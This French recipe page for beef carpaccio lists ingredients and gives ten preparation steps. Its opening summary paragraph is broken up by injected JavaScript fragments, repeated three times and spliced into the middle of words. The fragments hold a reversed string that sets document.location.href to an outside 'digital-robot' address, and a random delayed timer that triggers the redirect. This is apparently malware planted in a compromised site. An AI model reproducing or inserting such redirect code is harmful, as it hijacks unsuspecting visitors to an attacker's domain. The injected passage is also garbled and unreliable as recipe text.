Carpaccio de bœuf
2017-12-29Parsemez de graines de sésame tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torréfiées rincez, essorez et hachez le bouquet de menthe et de coriandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andre. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, faites griller le rôti de bœuf sur tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes ces faces. N’hésitez pas à bien laissez griller, et, gardez l’intérieur crû.
Ingrédients
- Pour 4 personnes
- 450 g de rôti de bœuf
- 2 carottes
- 1 bouquet de menthe
- 1 bouquet de coriandre fraîche
- 1 bâton de citronnelle
- 1 gousse d'ail
- Quelques pincées de gingembre en poudre
- 1 oignon rouge
- 1 concombre
- La sauce
- 3 cuillères à soupe de Nuoc-mâm
- 2 cuillères à soupe de soja
- 1 cuillère à soupe de sirop d'agave
- 1 jus de citron
Préparation de la recette
Etape 1
Parsemez de graines de sésame torréfiées rincez, essorez et hachez le bouquet de menthe et de coriandre.
Etape 2
Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, faites griller le rôti de bœuf sur toutes ses faces.
Etape 3
N'hésitez pas à bien laisser griller, et, gardez l'intérieur crû.
Etape 4
Rapidement plongez le dans un saladier d'eau glacée, pour le refroidir et stopper la cuisson. Réservez pendant 1 heure minimum au réfrigérateur.
Etape 5
Pelez et coupez les carottes en julienne. Pelez et coupez la gousse d'ail en deux. ôtez le germe. Hachez la avec les pincées de gingembre. Coupez le bâton de citronnelle en morceaux.
Etape 6
Pelez, émincez l'oignon rouge. Dans un récipient mélangez le Nuoc-mâm, le soja, le sirop d'agave, le jus du citron vert.
Etape 7
Incorporez tous les légumes et laissez mariner pendant 1 heure. Sortez le rôti de bœuf du réfrigérateur. Séchez le avec du papier absorbant, puis trancher finement le rôti.
Etape 8
Répartissez sur chaque assiette les tranches de rôti en formes de rosaces. Nappez de sauce aux légumes à volonté.
Etape 9
Parsemez de graines de sésame, arrosez d'un filet d'huile d'olive, quelques feuilles de menthe.
Etape 10
Accompagner de bâtonnets de concombre, éventuellement de Noc mam et de soja. Dégustez.
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